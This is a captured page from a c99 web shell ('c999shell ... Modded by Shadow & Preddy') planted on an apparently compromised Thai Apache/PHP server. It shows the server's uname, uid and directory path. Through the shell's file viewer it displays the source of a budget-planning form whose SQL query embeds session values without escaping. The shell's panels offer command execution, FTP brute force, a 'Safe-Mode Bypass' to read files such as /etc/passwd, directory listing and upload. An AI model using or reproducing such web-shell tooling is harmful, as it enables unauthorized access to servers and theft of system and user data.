!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher_aj_viratt/   drwxr-xr-x
Free 52.66 GB of 127.8 GB (41.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddPlaning-1.php (18.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
$sql "SELECT * FROM personal_tb WHERE Username='$Username'";
$res mysql_query($sql);
$rs mysql_fetch_array($res);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link rel="stylesheet" href="../css/cart4.css" type="text/css">
<style type="text/css">
<!--
.style1 {font-size: 14px}
-->
</style>
<table width="807" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="807"><br>
          <fieldset>
            <legend><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><span class="style1"><a href="menu_manage.php" >หน้าหลัก</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="PlaningByYear.php?Teacher_code=<? echo $rs[Teacher_code?>&amp;Budget_Year=<?php echo $rs[Budget_Year?>&amp;Faculty_code=<?php echo $rs[Faculty_code?> ">ข้อมูลแผนดำเนินงานรายปี</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="EditPlaningByYear.php?Teacher_code=<? echo $rs[Teacher_code?>&amp;Faculty_code=<? echo $rs[Faculty_code?>">แก้ไขข้อมูลแผนดำเนินการรายปี</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />เพิ่มข้อมูลแผนดำเนินการ</span></font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="InsertPlaning.php">
                <table width="91%" border="0" align="center" cellpadding="0" cellspacing="0" style=" border:1px solid gray"size="12">
                  <tr>
                    <td height="29" background="../Image/barIns2.jpg" bgcolor="#D1E1F0">&nbsp;</td>
                  </tr>
                  
                  <tr>
                    <td height="43" ><table width="107%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#E0E0E0">
                      
                      <tr bgcolor="#ECD9C6">
                        <td height="31" colspan="3"><div align="center"><font color="#000000" size="3" face="Tahoma">เพิ่มข้อมูลตามแผนดำเนินการ </font><font size="4" face="Tahoma"><font color="#003399"><? echo $Budget_Year?></font></font></div></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td><div align="center" class="style1"><font color="#003366" face="Tahoma">รหัสหน่วยงาน</font></div></td>
                        <td bordercolor="#006699">&nbsp;</td>
                        <td bordercolor="#006699"><strong><font color="#003366" size="2" face="Tahoma">
                          <select name="Faculty_code" id="Faculty_code" class="input1">
                            <?php
                            
           $strSQL3 
"SELECT * FROM  faculty_tb    Order By Faculty_code  ASC ";
           
$result3 mysql_query($strSQL3);
                 while( 
$rs3 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rs3[Faculty_code]\" ><b>$rs3[Faculty_name]</b></option>\n";
                }
                
CloseDB();  
                
          
?>
                          </select>
                        </font></strong></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td><div align="center" class="style1"><font color="#003366" face="Tahoma">รหัสของแผน</font></div></td>
                        <td bordercolor="#006699">&nbsp;</td>
                        <td bordercolor="#006699"><input name="projectCode" type="text" id="projectCode" size="6" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td><div align="center" class="style1"><font color="#000066" face="Tahoma">ชื่อแผนงานโครงการ</font></div></td>
                        <td bordercolor="#006699">&nbsp;</td>
                        <td bordercolor="#006699"><input name="projectName" type="text" id="projectName" size="70" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td><div align="center" class="style1"><font color="#003366" face="Tahoma">วัตถุประสงค์</font></div></td>
                        <td bordercolor="#006699">&nbsp;</td>
                        <td bordercolor="#006699"><label>
                          <textarea name="objective" cols="50" rows="3" id="objective"></textarea>
                        </label></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td width="26%"><div align="center" class="style1"><font color="#000066" face="Tahoma">ตัวชี้วัดความสำเร็จ</font></div></td>
                        <td width="1%" bordercolor="#006699">&nbsp;</td>
                        <td width="73%" bordercolor="#006699"><label>
                          <textarea name="objectiveName" cols="50" rows="3" id="objectiveName"></textarea>
                        </label></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td><div align="center" class="style1"><font color="#000066" face="Tahoma">วิธีการดำเนินงาน</font></div></td>
                        <td bordercolor="#006699">&nbsp;</td>
                        <td bordercolor="#006699"><textarea name="operat" cols="50" rows="3" id="operat"></textarea></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td><div align="center" class="style1"><font color="#003366" face="Tahoma">หมวดเงิน</font></div></td>
                        <td bordercolor="#006699">&nbsp;</td>
                        <td bordercolor="#006699"><select name="budgetGrop" id="budgetGrop">
                            <option value="&lt;null&gt;">เลือหมวดเงิน</option>
                            <option value="งปม">เงินงบประมาณ</option>
                            <option value="งบศ">เงินบำรุงการศึกษา</option>
                            <option value="งบส">เงินบำรุงสถานบริการ</option>
                            <option value="งลท">เงินลงทะเบียน</option>
                            <option value="งสวส">เงินงบประมาณ สวส</option>
                            <option value="งสบช">เงินบประมาณ สบช</option>
                            <option value="งข">เงินเครือข่าย</option>
                        </select></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#EEEEEE"><div align="center" class="style1"><font color="#003366" face="Tahoma">วันที่ตั้งงบประมาณ</font></div></td>
                        <td>&nbsp;</td>
                        <td><div align="left">
                            <select name="mDate1" id="mDate1" class="select">
                              <? getDay1to31();?>
                            </select>
                          -
                          <select name="mMonth1" id="mMonth1" class="input1">
                            <? getThaiMonth();?>
                          </select>
                          -
                          <input name="mYear1" type="text" class="input1" size="3" maxlength="4" />
                          <font size="2" face="Tahoma">&nbsp;&nbsp;วันสิ้นสุด
                            <select name="mDate2" id="mDate2" class="input1">
                              <? getDay1to31();?>
                            </select>
                            -
                            <select name="mMonth2" id="mMonth2" class="input1" >
                              <? getThaiMonth();?>
                            </select>
                            -
                            <input name="mYear2" type="text" size="3" class="input1" />
                          </font></div></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td><div align="center" class="style1"><font color="#003366" face="Tahoma">ปีงบประมาณ พ.ศ.</font></div></td>
                        <td bordercolor="#006699">&nbsp;</td>
                        <td bordercolor="#006699"><font color="#0000FF" size="2" face="Geneva, Arial, Helvetica, sans-serif">
                          <select name="BudgetYear" id="select20">
                            <option value="0">ปี งบประมาณ</option>
                            <? for($i=2549;$i<=2555;$i++){ 
                                 
$temp=$i;
                                if(
date('Y')==$temp)
                                echo
"<option value='$temp'selected>$temp</option>";
                                   else  echo
"<option value='$temp'>$temp</option>";
                                 }
?>
                        </select>
                        </font></td>
                      </tr>
                      
                      <tr bgcolor="#EEEEEE">
                        <td><div align="center" class="style1"><font color="#003366" face="Tahoma">กลุ่มเป้าหมาย</font></div></td>
                        <td bordercolor="#006699">&nbsp;</td>
                        <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">
                          <textarea name="purpose" cols="50" id="purpose"></textarea>
                        </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td><div align="center" class="style1"><font color="#003366" face="Tahoma">ผลที่คาดว่าจะได้รับ</font></div></td>
                        <td bordercolor="#006699">&nbsp;</td>
                        <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">
                          <label></label>
                          <textarea name="result " cols="50" rows="3" id="result "></textarea>
                        </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="140"><div align="center"><span class="style15 style1"><font color="#003366" face="Tahoma">งบประมาณแต่ละเดือน</font></span></div></td>
                        <td bordercolor="#006699">&nbsp;</td>
                        <td bordercolor="#006699"><table width="489" border="0" cellpadding="0" cellspacing="1">
                            <tr>
                              <th width="100" class="style1" scope="col"><div align="center" class="style19 "> 
                                <div align="left" class="style1"><font face="Tahoma">มกราคม</font></div>
                              </div></th>
                              <th width="122" class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="January" type="text" id="January" size="6" />
                                บาท</font></div></th>
                              <th width="111" class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><font face="Tahoma">กรฏาคม</font></div>
                              </div></th>
                              <th width="147" class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="July" type="text" id="July" size="6" />
                                บาท</font></div></th>
                              <th width="12" class="style1" scope="col">&nbsp;</th>
                            </tr>
                            <tr>
                              <th class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><span class="style21"><font face="Tahoma">กุมภาพันธ</font></span><font face="Tahoma">์</font></div>
                              </div></th>
                              <th class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="February" type="text" id="February" size="6" />
                                บาท </font></div></th>
                              <th class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><font face="Tahoma">สิงหาคม</font></div>
                              </div></th>
                              <th class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="Augus" type="text" id="Augus" size="6" />
                                บาท </font></div></th>
                              <td class="style1">&nbsp;</td>
                            </tr>
                            <tr>
                              <th class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><font face="Tahoma">มีนาคม</font></div>
                              </div></th>
                              <th class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="March" type="text" id="March" size="6" />
                                บาท </font></div></th>
                              <th class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><font face="Tahoma">กันยายน</font></div>
                              </div></th>
                              <th class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="September" type="text" id="September" size="6" />
                                บาท </font></div></th>
                              <td class="style1">&nbsp;</td>
                            </tr>
                            <tr>
                              <th class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><font face="Tahoma">เมษายน</font></div>
                              </div></th>
                              <th class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="April" type="text" id="April" size="6" />
                                บาท </font></div></th>
                              <th class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><font face="Tahoma">ตุลาคม</font></div>
                              </div></th>
                              <th class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="October" type="text" id="October" size="6" />
                                บาท </font></div></th>
                              <td class="style1">&nbsp;</td>
                            </tr>
                            <tr>
                              <th class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><font face="Tahoma">พฤษภาคม</font></div>
                              </div></th>
                              <th class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="May" type="text" id="May" size="6" />
                                บาท </font></div></th>
                              <th class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><font face="Tahoma">พฤศจิกายน</font></div>
                              </div></th>
                              <th class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="November" type="text" id="November" size="6" />
                                บาท </font></div></th>
                              <td class="style1">&nbsp;</td>
                            </tr>
                            <tr>
                              <th class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><font face="Tahoma">มิถุนายน</font></div>
                              </div></th>
                              <th class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="June" type="text" id="June" size="6" />
                                บาท </font></div></th>
                              <th class="style1" scope="col"><div align="center" class="style20 ">
                                <div align="left"><font face="Tahoma">ธันวาคม</font></div>
                              </div></th>
                              <th class="style1" scope="col"><div align="left" class="style16">
                                  <font face="Tahoma">
                                <input name="December" type="text" id="December" size="6" />
                                บาท </font></div></th>
                              <td class="style1">&nbsp;</td>
                            </tr>
                        </table></td>
                      </tr>
                      <tr bgcolor="#ECD9C6">
                        <td colspan="3"><div align="center">
                            <input type="submit" name="Submit3" value="    เพิ่ม    " />
                          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          <input type="reset" name="Submit22" value="  เริ่มใหม่ " />
                        </div></td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0177 ]--